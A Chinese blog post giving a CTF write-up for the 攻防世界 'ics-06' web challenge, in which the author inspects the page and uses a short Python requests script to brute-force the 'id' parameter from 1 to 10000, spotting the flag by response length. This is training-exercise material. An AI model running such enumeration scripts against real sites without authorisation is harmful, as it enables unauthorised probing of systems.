[CTF] 攻防世界-ics-06
题目描述
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
解题过程(其实没解出来)
初看-入题
一进去就看到这个界面,属实有点懵,以为这题过于高级。
但是随便点几下都是在本页跳转,说明并不是真的复杂,这就是花里胡哨包装了界面的题而已。
啥都别说,直接打开开发者工具,看看网页源码等信息。
js那些暂且不管,因为试着点击只在本页跳转,所以直接看网页源代码如何
大致浏览一遍,发现主要就是实现导航栏界面,但是链接都是空的,除了报表中心可以实际跳转。其它就是一些无用的js。
根据题目,正是报表中心出了问题,所以直接点击跳转过去
寻找痕迹
可以看到,除了php的,其它包都是layui相关,主要和布局有关(看了很久才发现没用,甚至去到layui目录看了)
So,关键应该在那个index.php了。
这里其实有个问题,index.php无内容,而index.php?id=1有内容。
先看HTML,发现并没有什么用,button就是装饰,没用对应事件。
关键-?id=
那么问题应该就是这个URL了,我请求index.php为什么会返回index.php?id=1呢?
于是我试着修改id=2,它返回了同样的内容。
这里就是经验的问题了:
像这种,其他地方没有有价值的东西,而这个URL的id可变,类似page,返回的内容还相同,
那么就可以尝试爆破,从1到10000进行访问,比较响应长度的不同,一般长度不同的那个就是有flag的,或者请求的同时直接判断是否含义flag字符串。
用Python requests爆破
大佬都用burpsuite,本人不会,且尝试之后可能操作不当进度很慢,于是用Python那爆破。
copy
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
import requests
url = 'http://61.147.171.105:51047/index.php?id='
length = len(requests.get(url+'1').content) # 初始值,正常看到的网页
for i in range(1,10000):
res = requests.get(url=url+str(i))
r = len(res.content)
print(f'\r{i}', end='')
if r != length: # 长度不一样就代表暴力找到了,输出
print('\n'+url+str(i))
print(res.text)
break
这里通过len(res.content)来判断响应长度。
总结
- 诸如数字可变的URL,可以考虑采用爆破的方式
- Python响应长度:
len(response.content)
或者 用头文件中的Content-Length
:response.headers.get("Content-Length")
本文作者:faf4r
本文链接:https://www.cnblogs.com/faf4r/p/17008474.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步